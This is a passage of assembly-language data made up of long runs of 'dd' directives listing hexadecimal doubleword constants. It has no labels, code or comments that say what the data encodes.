903AC2h, 99157F7Dh, 14F87A56h, 531CE583h, 28E900A0h dd 0EBC5CD80h, 0D51B2269h, 39827430h, 0A20F39h, 157BC383h dd 8F69192Dh, 986F1714h, 73B2388h, 0F439C826h, 513807h dd 0E692C82Eh, 8636EE28h, 0F8084C90h, 0B97B7463h, 65F44D00h dd 7EC0A450h, 0B502E903h, 8F0F1131h, 1069A58Eh, 8836001h dd 0EC20B4A5h, 357C8C2Fh, 27544B11h, 209EE488h, 84B3A5C0h dd 6813EEh, 5EEB2D52h, 43622187h, 3701E893h, 70227CDh dd 4D887218h, 16CD7F2Fh, 6857887h, 9080A8F8h, 34023046h dd 1F544AA5h, 1D10E731h, 0F8E7A53Dh, 8507B214h, 7C8DD67Bh dd 6420133Eh, 7854729Ah, 78C49319h, 0D9247A34h, 0DE029FFAh dd 0C6298B96h, 23C4620h, 1738C825h, 20C4670Fh, 0BBC80C97h dd 32C1E8F7h, 3F43DC26h, 2F8CF000h, 395D4C59h, 46809BF6h dd 0ED35DDBDh, 0E1584913h, 34904090h, 0A530048Ch, 623F5446h dd 391920E1h, 25743CA5h, 0E9846301h, 0E414696Bh, 5B804872h dd 670F94Eh, 6B576D00h, 602371F1h, 0F279E3h, 77D89327h dd 0EAD0060Bh, 26EC3348h, 2C40F8F7h, 948965h, 0C65A0B91h dd 0DBF6FEA9h, 0A0B9CF00h, 50FDDB3h, 0E580947h, 30816604h dd 20AAE99Ah, 0EE8C3D1Ch dd 4602F6CDh, 7E2237h, 1ECD3547h, 6E13EB9Eh, 0BCA61CBAh dd 0C4644000h, 4CFCB454h, 0F8835C5Ch, 960A5921h, 0A8A01CEDh dd 9773246h, 4F5448A5h, 1B00801Ch, 7A21A53Bh, 3C683CA0h dd 0E8489731h, 38C87E8h, 0F68CD6CCh, 8AA813Eh, 20CD0E4h dd 0B18B5199h, 58ECB82Ah, 412398FBh, 25CD3901h, 75181702h dd 58314B88h, 9C0089CDh, 85437227h, 0CE4CFE56h, 0C164C1ECh dd 0E7EC7FD2h, 89391EFBh, 4129C086h, 0D74ECC3h, 0CCD9481Fh dd 2C26F0A6h, 9C40CD11h, 310E8C33h, 515447A5h, 1C80EF88h dd 8430A53Ah, 0CDF58CCh, 89DCA982h, 2B70EC50h, 0C6152A05h dd 7CCD1669h, 96B9A860h, 1C01F698h, 4985C2D4h, 4AC01AF1h dd 0AFB0003h, 0B2E4582h, 250AC090h, 3CB0A72Ah, 0ECAD200h dd 51B58A1h, 0F4481566h, 0D18405C5h, 0C0D4406Ah, 0F41B963h dd 4351E601h, 0F0681552h, 3A4F2980h, 0ED7E06A4h, 0B8F1BD02h dd 60918D5Eh, 6760174Ch, 0CB9F29FCh, 429DF48Eh, 0F20E526Fh dd 0ECA940E8h, 0A3088F70h, 18B59F7h, 42343A2Ah, 9041C22Eh dd 0A58060E7h, 11F0184Ch, 0D601F313h, 0DAAC25DBh, 308C61B2h dd 0C0B81F6Fh, 623C20h, 0DA683DFFh, 528C3E36h, 8D4C1874h dd 42761E5Ch, 15C0101Ch, 6C65770Ah, 616A74BFh, 0D960864h dd 1523C494h, 8130276Eh, 0B42E87EEh, 0F0DDC76Eh, 0D0DE8951h dd 5C830E00h, 25A3108Dh, 9972304Eh, 0BF39AB11h, 0D1847B00h dd 5EFFD694h, 4EDA3012h, 3C352690h, 0C9224714h, 80CA38B8h dd 9485DF8Bh, 3B911599h, 304E62A2h, 0F54F55F0h, 7A0B6A03h dd 0A0142E0Fh, 74226FCh, 0FF280373h, 922C360h, 523BBE0h dd 19106D1Fh, 621E741Eh, 1878767Ah, 510A5D00h, 6E03A042h dd 0D1B7041Ah, 937C3285h, 6AC87352h, 0F5037905h, 0F6D031Eh dd 0B63E06Bh, 4509481Bh, 30084B36h, 0B55D080Fh, 807B8E27h dd 0FC782E6Ah, 0B00D1D24h, 0AF0F0A04h, 0D7042364h, 0C98B18D4h dd 0D0F710EAh, 0CA7519C0h, 72C634h, 1878BBCh, 0E413EDC9h dd 938C5F13h, 0EDC8348Bh, 0C121E5C0h, 0A40318EBh, 4EC4487Dh dd 0DD628C3h, 0EB9106C7h, 208D3C13h, 147D096h, 0AF06D6E0h dd 737800B8h, 0DCF8C5FEh, 9F00AA8Ah, 0CBD807C8h, 0B85FA0EFh dd 0DF0E31E0h, 69156951h, 0C287C44h, 2B773461h, 7D587F40h dd 71A71E0Eh, 2D908B8Eh, 4A04E066h, 64EB359Ah, 20207C62h dd 0BE9A42h, 0B3A87D52h, 0FE545A2Ch, 508C4B30h, 0A0EC1769h dd 886E0740h, 0C4A8928Bh, 44F620E2h, 93E49809h, 0C0F8ED82h dd 9FF3510Bh, 0B02CCB0Eh, 547C4303h, 40B3B30Eh, 4058E088h dd 45BD677h, 0AA75423h, 53609951h, 7FD041B8h, 0D1A843D4h dd 0FBCA0390h, 2189DF33h, 593EA220h, 0CD3C8FA8h, 622F0264h dd 34482071h, 0F8625CCDh, 79FC3AB6h, 2B8782A8h, 0BC72F79Ah dd 39797430h, 0FAE03Ah, 0C2FF4CA6h, 0E2377AB1h, 0B339141Ch dd 11F7AE46h, 286228C9h, 0E5E0028h, 8E782088h, 0F0FD06Dh dd 2A23999Dh, 56038071h, 0F39E30Eh, 0F1B00C20h, 64039941h dd 0D65A0062h, 9C81516Bh, 1D3DBE7h, 7E6FE9F0h, 20DFF672h dd 0E640BF38h, 860F0C8Fh, 7689100Ah, 0EF1A94EEh, 5920B407h dd 18827970h, 0C33B06DFh, 1998E583h, 89599913h, 60F76C88h dd 0F2FDF1D6h, 1C03310Fh, 5BE08253h, 43A5C13Fh, 9C8438h dd 0A90AAC15h, 3E12046Bh, 4086F61h, 4554A867h, 0A46047DDh dd 44ED03B0h, 6CF2DDBFh, 6F307AF2h, 1BD80152h, 60B702B0h dd 0A080E21Ah, 402B452Ah, 0DCB87B50h, 9B53F510h, 4C400325h dd 10D7BB38h, 71C8B8CBh, 5A9678C0h, 56D53243h, 0D0589B19h dd 842F3E4Eh, 0D9008623h, 64B34002h, 84A40CD6h, 0F7219CEBh dd 7A399CA4h, 8061B8FFh, 3872718Fh, 361B4B2Bh, 0FCE8638Ch dd 0E98E0333h, 3E682D8Dh, 81918417h, 0CABE7B80h, 1C56693Ch dd 98BB10DCh, 29403201h, 4287E384h, 0C320EE54h, 45F8A4h dd 60B12216h, 71354097h, 0AC26CE00h, 661B6E88h, 59D62402h dd 1D911D4h, 483C29FBh, 0B9918F54h, 0C8248139h, 67C6173Bh dd 2C4F0054h, 4D7F28C8h, 4211080Eh, 60D2600Eh, 91A4B52h dd 0EAD659E7h, 3E78CC2Ah, 0F78988F2h, 0A8B58B24h, 37FB4004h dd 34816880h, 7CCF78EDh, 2FB45A01h, 0E423F0h, 0C9EF7EBEh dd 9E244C53h, 660E28EDh, 392B0096h, 0C6E31669h, 91787431h dd 0E70BE100h, 91B7BB2Bh, 0CEC9008Eh, 9FA918C5h, 0D8143FA8h dd 0A05795h, 0B44E2502h, 0FDA4BCh, 216FB5FFh, 5E993233h dd 0A19294BCh, 1FBCB4h, 0CD6ACAA7h, 0ABA35728h, 7B20109h dd 115C1DF3h, 2F009385h, 0B870BD9Dh, 0E7C90584h, 0A30FB213h dd 32EEB2E0h, 80696355h, 485248B7h, 0B048E853h, 8AF0C00Fh dd 2F8028B4h, 375445A5h, 381A0087h, 3D0103A5h, 0C886549h dd 21D4F74Ah, 396000EEh, 22113E58h, 213A53B4h, 0E70A86A3h dd 0E8E9998Bh, 409E006Dh, 1D36A651h, 0FB00D880h, 0B4C6CB69h dd 9E350EDh, 0DB53D789h, 9000200Fh, 3614E002h, 170CA678h dd 0C86DCE48h, 0A3E71B61h, 83DB28DEh, 68681381h, 8CE4BCD8h dd 2001FFFAh, 811609Fh, 9C738CA1h, 3830E3A2h, 6F6D5C26h dd 61DCD52Ch, 4BF1029Bh, 0C7EFC8B8h, 0C517C72Eh, 80A041B4h dd 2E260BD6h, 302A6022h, 30129A45h, 0ECF24CEBh, 9A3D25C0h dd 6D00C272h, 0C6B9C4B7h, 49524D89h, 1010A040h, 968088EBh dd 0D474005Fh, 8D7AB858h, 77F43212h, 3E59981Dh, 94219F39h dd 20740892h, 866CCE94h, 894FF100h, 228E8F55h, 0BC7002E7h dd 5D1EEE1Dh, 380B5063h, 9DBF94EBh, 80701154h, 0C5F1121Ch dd 917D12DDh, 3A4C5215h, 8823D4h, 56326D87h, 0CB09E804h dd 0A7A07405h, 7A6970D0h, 75B402E4h, 0ADB35EFDh, 0B04280C2h dd 84441CC7h, 509FEA60h, 68697E24h, 0B5E00502h, 0F1744202h dd 188B79E0h, 4FF000C5h, 50CD6533h, 73F24615h, 5EE8A095h dd 42AE41Ah, 85F16F9Ch, 88208EBBh, 0FF1AC07Ch, 0D706A540h dd 0FD849FE2h, 22E4648h, 0EB349A49h, 58A45E6Ch, 9A024121h dd 0B46F1446h, 57062D5h, 0FC9A96B4h, 1AC08188h, 77021133h dd 963C7E64h, 9BD60E18h, 0F8E692D0h, 0A82D88A0h, 0D7628304h dd 38C4B3CBh, 0CD8EB8ACh, 0CA91BBC0h, 0B500C7DCh, 34CF3F1Ch dd 57427E5h, 0B8E7BA5Ch, 0D07C813Bh, 4024CBEBh, 0D571EC6Fh dd 679879A4h, 5F7F5001h, 173CA630h, 0FD5814Dh, 48E743CDh dd 445B4C60h, 0E9F12A8Fh, 23B065FCh, 30E8A260h, 0BE73BDF7h dd 0F0B5D602h, 607C1066h, 0C0B173C0h, 0FE5270B8h, 38949C83h dd 8B8C2B05h, 0FFFCB400h, 12B3B41Eh, 0D0F73291h, 4DA0FE4h dd 5921CD00h, 0DD66176Ah, 22351A13h, 0D847A802h, 0BD63EE44h dd 2E38D4E1h, 2E0DC820h, 243512B9h, 0B0A43606h, 31BEBFCh dd 90A982DCh, 50D9ECB2h, 5474C04Eh, 54FA08Eh, 569A3C47h dd 96F030CDh, 92002D0Bh, 0ADC2B229h, 93BE6Eh, 954523E6h dd 2A1BDF66h, 8B810F09h, 83CC8162h, 33A59E4h, 86737034h dd 1A016100h, 588C654Eh, 252F639h, 498EBE2Fh, 0F4720D69h dd 572A262Eh, 0AC802813h, 1CD891FBh, 84224149h, 0CB21386Fh dd 0C07BC894h, 1CF74521h, 0BFC43C91h, 23E02F57h, 0F8D9146Eh dd 1D03D222h, 79C1A4CBh, 53CCA9C0h, 0DC309031h, 836240AAh dd 0A84FDE4Eh, 46728697h, 3020A418h, 0E86168A1h, 9F076C66h dd 0EC60A6FDh, 2664B0E0h, 2B3A1E0Dh, 6629B0A2h, 1AFA230Fh dd 0AC8B74Dh, 0B70E57ECh dd 6B8E7801h, 834E42Bh, 8F0A01FBh, 980653C7h, 12F0289Eh dd 0ECE2AAE9h, 0AF307BF2h, 0C37E474h, 8277DDDCh, 94A16550h dd 0A2B0336Eh, 39773076h, 9C3A9600h, 511D1B08h, 8060968Bh dd 0EEBE7B8Dh, 2A03AE40h, 13B82496h, 0E4088560h, 11E4A667h dd 0FF457CDDh, 4E3458F2h, 29490A2h, 3AF47A41h, 0ECAD5707h dd 8FD0C04Ah, 0F2D20B21h, 0C3EA0A65h, 60F05383h, 71D8F95h dd 9C2C05E4h, 0F213E0A8h, 0C03DD808h, 1737C828h, 916EF721h dd 3053008Ch, 1EBC6CC8h, 0D74F05DEh, 81586D60h, 3643688h dd 3A25802Ah, 7815E0D2h, 0ECCD58A4h, 28C83E8h, 0D657F490h dd 1CD18B03h, 5B186ED9h, 933B9B3Eh, 0C82BBF6h, 6270C1E3h dd 697AB050h, 7604E11h, 853B83E4h, 0FBC42014h, 4217D92Ch dd 784329EBh, 94C3E801h, 5C92ACC5h, 0E0FCCD46h, 9A1E433h dd 97882C00h, 0FB162418h, 0F5EC013Ah, 40039320h, 0DC406A74h dd 0D0BC2258h, 9FF91350h, 0D6C44311h, 0F1696B06h, 902466C8h dd 7A242CA0h, 0A7ACA9A8h, 41B88C90h, 5EAD4925h, 17B201CAh dd 4278AA60h, 0EC4987E4h, 802E2F20h, 8F006F23h, 5C97FE4Ch dd 0A06A7C58h, 80B3F7C0h, 7060134Bh, 0D78A3299h, 0A8EE50ABh dd 686134Ah, 0E55081DFh, 70E4E92Bh, 1D00DB34h, 69B9D6Ch dd 0B04802D0h, 7CE90514h, 0C20FC73Dh, 84A44AD8h, 0A84EF72h dd 383234B4h, 1D8B601Bh, 2409DFFBh, 52018448h, 13ECB40Ch dd 5F695Bh, 0C1940ECBh, 2E5C0F8Bh, 3AA25900h, 0B5389610h dd 0F39082h, 0ED42949Dh, 55CAC9BFh, 5936C500h, 19816A3h dd 7ADE88Dh, 0AC726ADDh, 0A2BF00A0h, 0D0F06B18h, 32493Eh dd 442B985Ch, 0FC585h, 55C2C9F5h, 0AF1E15BDh, 9CA8E10Eh dd 0CA99E0B3h, 3FD80A2h, 0C246A3FFh, 25D80EBAh, 9427A108h dd 8BE49086h, 0F8EBF14Bh, 0A881744Ah, 0EC256DC8h, 0DF9B0E3Fh dd 65035033h, 9E497017h, 4B287CE0h, 891C0B8h, 481882D1h dd 8471F806h, 96197DDEh, 0B8914030h, 6098E35Fh, 7011E700h dd 0C5E56E53h, 0F0B33863h, 88DCCBCFh, 7775C0E4h, 0EF033023h dd 15029265h, 46C9B50h, 5BF001D0h, 0DA6F00D9h, 948B040Dh dd 6E467624h, 208C0412h, 0B2718D98h, 19E26A09h, 9C70872Bh dd 0D01B6340h, 168906Fh, 5ED8B85Ch, 0E9038504h, 17106D45h dd 6C00F09Dh, 0FC2B55B8h, 0C72C8883h, 86D12099h, 7A71CF18h dd 17FF7B0Fh, 0EB0D7E89h, 1ABCF8ECh, 23402A4h, 4A3EC2B0h dd 601488D0h, 4F947192h, 6FC870CBh, 0C8100C9h, 0CBE043h dd 0D4FB9FC4h, 2BD6B839h, 0FC716BEAh, 0C4F8022Eh, 83DC7240h dd 52C600BAh, 0BBA21E18h, 76010581h, 0C85A5D60h, 0A8BED8ABh dd 237B8C00h, 0CB63F788h, 9CC9E0AAh, 93B183Fh, 270223CDh dd 498030C5h, 0D0C0CD33h, 2E647316h, 11E81B18h, 0AAAF0984h dd 5C60808Eh, 0F0A3F9h, 0E6049CCBh, 29FAC2BEh, 57993D13h dd 0F8011C91h, 0B6F4CFh, 698B9588h, 8490C819h, 160209FBh dd 0F8F8D98Fh, 2974A231h, 83CCDF4Dh, 0EAE51F31h, 0ECD38005h dd 7C545575h, 743D9601h, 83F75A6Bh, 534C6F6h, 32508F4Ah dd 8AB49265h, 1700385Ah, 6F6CFE14h, 943BC4h, 0BD1F410Eh dd 0EB64028Eh, 47C52351h, 3925238h, 49CBCD0h, 63C1D659h dd 483CA98Bh, 5C99B040h, 59F8B39Dh, 2B3A4C30h, 0D4FD4581h dd 70FBBD1Ah, 2E7B703Ch, 0FC463507h, 0B4013A30h, 402CE7DDh dd 0F890744Fh, 8CE3ACF0h, 164CBF48h, 2C040DE1h, 0B3139ECFh dd 3070E2D8h, 5400E253h, 0A6A137AAh, 9507D5E7h, 64236410h dd 123A7741h, 0C0809B00h, 141F29D6h, 205365E3h, 0F2A8B28Ch dd 538630E3h, 93465B05h, 0C8A1FBh, 3D8400CFh, 4970351Dh dd 17092AF6h, 576A650h, 0BC812918h, 9D007CD4h, 865F200Eh dd 5FD1C000h, 96FBD2A6h, 0CBDB8ECCh, 0ED3618C5h, 988AD308h dd 6C088C8h, 62034A55h, 67169036h, 47E00101h, 3A6A3C61h dd 8523C0h, 0B1ABEFB2h, 9B02E84Fh, 0F8136B5Fh, 47AC6A65h dd 607E4470h, 0C069A284h, 34202BF1h, 9C000D70h, 93CFFBDAh dd 0B8ED41FEh, 0E284185Bh, 98E7918Fh, 0CE834Fh, 65C18C88h dd 60DA1A77h, 4BCA2027h, 6E148860h, 0DC78BC00h, 3ABF0E43h dd 842740C2h, 3974E4A9h, 60420054h, 0DA3AB670h, 6FA901E5h dd 1E53FA17h, 5AF1D702h, 2C042475h, 8E3458FAh, 83091045h dd 11441D94h, 0DAA381F0h, 985073A1h, 3E74E9Fh, 622892C9h dd 53DFD515h, 0A8806425h, 7000B64Ch, 0C30ED22Ch, 0F03882E9h dd 3B7184h, 0A487FC6Fh, 54064817h, 176798DEh, 8170916Ch dd 380CD05Bh, 0F5058861h, 10083017h, 0C499453Eh, 20749262h dd 77D6F0D4h, 27D7184Dh, 6AEC60B7h, 2F88A274h, 1C750B8Dh dd 0C0D040E4h, 0B2527213h, 1990BC0Eh, 2F6AB350h, 3A712398h dd 3687EB03h, 23C82BB7h, 49066F4h, 0DA3C6B78h, 0B460092h dd 322A263Eh, 5D604B99h, 8EE80B20h, 0FC2D387Ah, 910097FAh dd 0A4168076h, 7C266B5Eh, 62B50396h, 704C03EBh, 22488848h dd 0FF310075h, 0C622FAF5h, 3D12D984h, 0A00135EDh, 2B0A6737h dd 0B12A5AD0h, 88354908h, 0C9DA80BAh, 1FB79E7h, 0A2D772D8h dd 0A7C82CCh, 0C099214Ch, 0C8322BD5h, 0E7DE1814h, 0E8B8640h dd 99948897h, 0C4F1582Bh, 0C85EA831h, 6303D601h, 2C207C10h dd 202B4C6Bh, 0C1D1C5C4h, 0D0423C07h, 0BA7D91A8h, 0C65CE509h dd 0FBE0609Ah, 17342A2h, 170C35A8h, 0D0CF709Dh, 3D77F9C3h dd 0A180E9E0h, 32AB1518h, 700C6E3h, 0FC76280Bh, 50A3992Eh dd 20D664DBh, 209959Fh, 68E24815h, 942BE7E8h, 526F0210h dd 0F8513E8Fh, 0A188879h, 2500E3E6h, 694670CEh, 4ED90210h dd 0B62C203Ah, 0BA04B784h, 3356C9Dh, 176E5A04h, 0AEC4C8h dd 0FC64910Bh, 43AA5B9Ch, 0B9946B12h, 0FECA5C80h, 6A90A181h dd 6BC12210h, 0CFA3A404h, 20C01F39h, 0B0329FCh, 626E5474h dd 18F78844h, 319A0B46h, 0B0E544EBh, 9A3E2482h, 665C40CEh dd 9D4D0EECh, 1B40F1E1h, 0FBA3F560h, 26006C9Eh, 0C8D999D6h dd 664D008Ch, 632B546Fh, 0C63170B7h, 8E46E17Dh, 60C00204h dd 290061EEh, 0B972C5EDh, 0E33501A4h, 20CA6DFBh, 13094728h dd 79E9A430h, 0F90847Ch, 70F8C173h, 629D0387h, 4E0E5840h dd 0A50CC06h, 0BA17FE86h, 4FE983FCh, 0B81CCE07h, 3216E005h dd 5840E400h, 3D3BEB0Eh, 0E9068E78h, 4866226Fh, 9C9F0703h dd 88DC2AFCh, 981E63A2h, 496A34C8h, 0F2C0E2C1h, 0C7EA336Fh dd 0F44740FCh, 0C8681613h, 52F851Dh, 18D00684h, 0B2A0F338h dd 0E7D13084h, 0EF61FA09h, 9970227Fh, 17AC6451h, 0E0D1ED2Ch dd 0BA29EBC0h, 837934A0h, 18091318h, 0CA4805B4h, 785AB8h dd 0AD3D896Dh, 5E23A0BEh, 6B737B07h, 0B20F730h, 9860CBAh dd 53990307h, 0FDFF2C69h, 0F01D247h, 0F8ECEBAAh, 0E2293BBEh dd 0DE11D8CCh, 58B7095Ah, 0EE64A4CAh, 0D9B914E9h, 7E9660FFh dd 30FBF7ECh, 0F04AE970h, 6CC0BCDAh, 0C760E812h, 0C4D30627h dd 0B19C6074h, 28F5CB69h, 31BEF900h, 8DA6C9A2h, 0DB364BE6h dd 3B668020h, 263DB651h, 40BCD2FDh, 36689F96h, 0CB8C6350h dd 0AD9DEFE4h, 58D08918h, 160BC32h, 17AFE805h, 48042EA1h dd 2A0B60B6h, 9A0038D1h, 579075Dh, 997C002Fh, 0F50B1DFFh dd 0DA3CD7B6h, 0E057A414h, 0EF288249h, 0B0C473h, 0D469F081h dd 0EB75170h, 0D78084B7h, 2090B0C2h, 0F3A65C4Bh, 8E77CD04h dd 20ED0DEDh, 0E70E5402h dd 90587835h, 0F8CA6B20h, 41DB6008h, 0C89B9D37h, 30460090h dd 369A4B02h, 567CEBh, 90431F58h, 1EC90200h, 79D233B9h dd 0BC1D47Ch, 0C5078330h, 1B0C4209h, 0DC085A98h, 0BE84674h dd 83D60BC0h, 0E05E28E8h, 132B2E6Fh, 0F0602353h, 6098750h dd 819D58E0h, 4E489F00h, 0FA107038h, 735E808Bh, 1DFED454h dd 0A32CEh, 0F35546D8h, 334E0581h, 79D4C8h, 7F611243h dd 0FD013860h, 837A920Eh, 0E9FE836Bh, 0CE285FCFh, 0C071C8F0h dd 0B3FD0533h, 9AE3F900h, 1FFE5470h, 2C0898B9h, 8C8AED1h dd 6549B3EBh, 61E2E470h, 0E06BA19Fh, 8779F254h, 92200098h dd 20E89060h, 0E8F99CFAh, 18C2486Ah, 0B78F0301h, 7F8C80D4h dd 0F814A015h, 0BF332207h, 138491B0h, 1602E8F9h, 0E1FBE002h dd 0DEF8B040h, 1EB141C0h, 9E2AEAAAh, 201A2728h, 84112C5Ch dd 0B8000B3Dh, 0D072F2E2h, 6602DDB6h, 4EEA7FB3h, 50445E2Fh dd 0D707B502h, 1EB0F0E3h, 36F7C0BFh, 108D5C87h, 9D37FCAh dd 10E0842Bh, 0A0D1F7E0h, 0E63DEE7Ch, 9E19097h, 4206DFE8h dd 405EA4E0h, 343B2917h, 53832006h, 3847410h, 3A312346h dd 0EAE2CC99h, 5DF068E4h, 3007FC91h, 2AC0153Ah, 49FC73D2h dd 0D37B1401h, 0ACE250h, 76C10F42h, 91A645Fh, 0BCA34B08h dd 0AEF4C600h, 33B06E06h, 0F82A2230h, 4B02392Bh, 8D0D66Fh dd 8B42C97h, 5E84B423h, 0E00E6F46h, 4E8EAF71h, 86650E80h dd 0AD48E7DEh, 6CC45058h, 1044875Fh, 690239C3h, 9005DC0Dh dd 51B21482h, 188B7914h, 2C4B09E7h, 0B787E387h, 0DC4E7012h dd 835913D5h, 0DABF12A0h, 85EC54A8h, 1F1078Ch, 59C9FD04h dd 519808Ah, 0C8482A50h, 0BF244CB8h, 0DA11C086h, 880A2804h dd 8138D53Eh, 3D774EA4h, 0BA1B1048h, 31061864h, 7208D67Bh dd 53104D42h, 10D23FDCh, 8A027C4Eh, 0DB7813A1h, 0B128E063h dd 8926B090h, 0EB10FCD2h, 0A2A228CFh, 1465F0CDh, 0ED60F0E4h dd 0E2488435h, 70178154h, 0F06D4726h, 3A014023h, 1F0222CDh dd 4AB06C38h, 0DA04CD32h, 5C03632Ah, 12FD68B0h, 886FA4FFh dd 0E83A0150h, 2E744087h, 64008E56h, 53D3407Eh, 3A02C79h dd 0D1764385h, 0E0C980E9h, 5887E4CCh, 0F001C006h, 1348EA8Bh dd 8B8F9F0Dh, 0C37BC8F8h, 47B02164h, 8F13304Bh, 944F2A68h dd 0D0207729h, 153D1Ch, 53472272h, 2B11D52Fh, 130C5C1Dh dd 0E9E7ED43h, 22D6A09Eh, 9BDF02Dh, 7A91CB5Bh, 5C0314CEh dd 0C63EF9C2h, 6A0ED232h, 70E4DCh, 291E59CCh, 0A09D5BD7h dd 5294A412h, 0A300C4B2h, 93B3CAEBh, 5809ACD7h, 488B3D25h dd 0C3D668h, 475A3A20h, 0CF91DE7Bh, 0A588531Eh, 77E85D80h dd 0E6C9BBh, 659D5C46h, 0E33D87B7h, 26EFA3Ch, 0DDB45D2Eh dd 0F800707Fh, 0E8AC02D2h, 6D6510Eh, 0ED08ECC4h, 970A02Bh dd 205E842Dh, 90589942h, 0F96D0E8h, 0E94E0520h, 0F48B213h dd 824CCB3Fh, 56269585h, 99804050h, 0A4028EB6h, 31EE2071h dd 0FF14C0E5h, 0E37F28EFh, 0D65513F4h, 8BD8D10Dh, 8379BEADh dd 53E69EDh, 0DA4A02D1h, 19A03FCBh, 1788C9E0h, 6F926012h dd 0E935B0C0h, 0EF940085h, 0E89504DCh, 0BB00452Fh, 15E75CBFh dd 0F2B2D7h, 0A098086Dh, 0DDB05083h, 8AB61800h, 772D6175h dd 0EFAA00D7h, 56A4E813h, 2B74CD43h, 0C750AB1Fh, 90416580h dd 0FF70FCh, 0B2E6D881h, 803A2CF3h, 6F2A8803h, 0E0A24B78h dd 2022BB0h, 1465EFD9h, 0B4E09DF5h, 577E6FB5h, 74C8E600h dd 724E85DDh, 1D9B763Ah, 0C0DEA247h, 7601C58h, 0B6585DABh dd 6BC800F0h, 15E39197h, 68663A9Dh, 0A190EA06h, 2C03D865h dd 0CD2BA7DFh, 0E116F25Fh, 0A8F0B933h, 878EAh, 0AA4265D8h dd 0A526BBE0h, 0F4982C00h, 5DE8AE59h, 0DCB2001Eh, 0A656DB1Ch dd 0B0E377Eh, 0FDE589h, 4C0DE6B7h, 3DBD0067h, 0DFBB8171h dd 2C0FC131h, 9E6F7A08h, 0A37B1830h, 74C9154Eh, 46E020B1h dd 78802BA1h, 4D053A24h, 4CC4E401h, 0D418EFB8h, 3A1F2741h dd 94008348h, 0CDE9B91Ah, 78D3000Fh, 0EDF57221h, 18874D04h dd 0D98A80B5h, 14080341h, 3BE10770h, 3FBFA80Eh, 0C7D3C09Dh dd 0C5133A0Dh, 2584981Dh, 264BCBC0h, 298B4938h, 3234F73Bh dd 80A20D08h, 21378F53h, 0AE86F0A0h, 849A2300h, 6B3A6DBCh dd 1F517A31h, 0C033AA48h, 9C5BFD91h, 0C400A484h, 56F5CE3Eh dd 5160BBh, 2A979550h, 0FD86A761h, 1DF39A07h, 0B4D6C5A4h dd 516C4229h, 7E2990C0h, 44B2EA84h, 314450F8h, 42A2487Ch dd 425B12Ch, 7A112804h, 44F4C644h, 0B048B755h, 2578DA42h dd 0C21404CAh, 803C48B5h, 9EE6DD34h, 96002C1Ch, 0E3FBAA0Dh dd 2E2882h, 0FCB00868h, 0ED0775E0h, 0AD90E200h, 281369E7h dd 588F86Fh, 1C6DEB91h, 2390C02Dh, 1D00D1D7h, 2C587D64h dd 0FCACFBh, 88A75F25h, 0B8E430C0h, 3B007475h, 22F1040Fh dd 1AE8CCEh, 0D621BFFEh, 70435BEEh, 0D4006F2Bh, 2C913AA6h dd 386EC017h, 0EA126C90h, 4AF10EDFh, 0CDA02EE0h, 0F9077DE6h dd 70396E44h, 6769E190h, 0E88C00A5h, 1A884954h, 7007D75h dd 0A9F55293h, 0EFC460h, 0B3ECBB17h, 73CDF820h, 4675C200h dd 1C01670Ch, 57C7014Bh, 0B80458E6h, 372FC8CFh, 16651300h dd 35377D7h, 1DE20Dh, 6A38A285h, 2E7E3399h, 7860903h, 0C0FB0664h dd 3C6C05h, 38207071h, 0DE696ACEh, 0E9D5AD00h, 6896A293h dd 1A25000Ah, 20D7034Bh, 29014F46h, 7363455Eh, 71D0A2C9h dd 0CF6B2D44h, 8C0042F4h, 4E5D84B3h, 0EB050036h, 0C0C31BA8h dd 0CF733193h, 0CC7B8000h, 4FC7CAD4h, 5C3F0320h, 0F1C2C6CBh dd 9582E7B8h, 36683900h, 8172EBC8h, 0A79703B0h, 8B73384h dd 29AA6FCBh, 12ACDD40h, 0B710100h, 767B4AF8h, 0C6E4F546h dd 151F099Eh, 95039AE3h, 0D7B073EEh, 1B1D0941h, 65005A25h dd 0FABFD866h, 778F036h, 90C7D93Ah, 0D192208Dh, 70698B5h dd 6D1AB1EEh, 741E98C0h, 634A0094h, 9241279Eh, 5D0080C5h dd 0AB8F4FC2h, 0E8DE5D5h, 0CC2C5CB3h, 6D2036C2h, 3FC0D443h dd 0A800ABD9h, 9BD49DC7h, 0B88AA6E9h, 1D3D3052h, 85C7478h dd 0EDA44E18h, 2C70BA70h, 308D77C4h, 2DDEFDF8h, 1C1C280h dd 0A20F4AB0h, 207F4558h, 5D002234h, 505B5332h, 0FBA84FBh dd 0BB1B498Ah, 8452AFC4h, 0B973806Ch, 0A9F63729h, 0B61DA5A0h dd 0ED8CB203h, 0B091D335h, 16DB5FAh, 0E8F6AB27h, 0E07526A5h dd 0F80076FFh, 0A27B3D06h, 1CEAF0C0h, 684DD4h, 63A7B1F5h dd 26002747h, 0DFC3FAE6h, 661178h, 3A3B032Ah, 35BDC28Ch dd 0B86F7E07h, 4250280Bh, 1214D5Ch, 3FA63A69h, 20D223A2h dd 0AF00D140h, 0D7DBC60Ah, 0AA9C8DDh, 5D69D89Bh, 0EB1F00E0h dd 0AB35936Ah, 9501A7ECh, 78307E20h, 80CE3B62h, 0E7BC86E8h dd 0BCF95EC9h, 79F0038h, 131B28FEh, 2110032h, 775EE8CCh dd 96001FEEh, 0FAAA2C9Bh, 0B0DA0E18h, 9D710098h, 0EC5A5E26h dd 0E902CDD6h, 664222B7h, 0EFE480EEh, 3E3523BCh, 0D03D2D19h dd 4EA900F7h, 0C821AF68h, 0AD0027D2h, 0F8AA6D5Bh, 4C2D96E3h dd 9800401Bh, 0F9AEBBECh, 893DFB05h, 20048060h, 0EF368CF0h dd 0F82E4FF2h, 67007ECCh, 0DFD3CE0Fh, 0CB045h, 81055785h dd 8CDE6BD5h, 427F3102h, 4854F230h, 554C24h, 9FCF7852h dd 97A585D4h, 9D0951Eh, 1733D82h, 183AE0D6h, 30FDABh, 0B5790019h dd 94F1A3FDh, 0B0A4BA8h, 84CCF472h, 67E68400h, 36AFF5h dd 7F50458Ah, 0D5E930BEh, 1B7F009h, 0A14820C8h, 5862A90h dd 0DBFF5531h, 5BD30034h, 3C2F6898h, 0E1230F00h, 8F40427Bh dd 71EC07CEh, 0F872732h, 604E0127h, 0DA43D6F9h, 0E0044600h dd 0D86A0A56h, 0E8D00021h, 297F7385h, 901BB35h, 4A486B07h dd 0F880D169h, 61BCC040h, 71002712h, 0FB9265BDh, 2B483Dh dd 0C13BD509h, 0CCE5345Bh, 8E2A7900h, 8DC8E40Ch, 271B39BBh dd 0AF3F7607h, 4023607Ah, 0C9001FC2h, 44F2499Fh, 0FE3B5336h dd 0ABB100C4h, 0D62C9229h, 96283389h, 790094DCh, 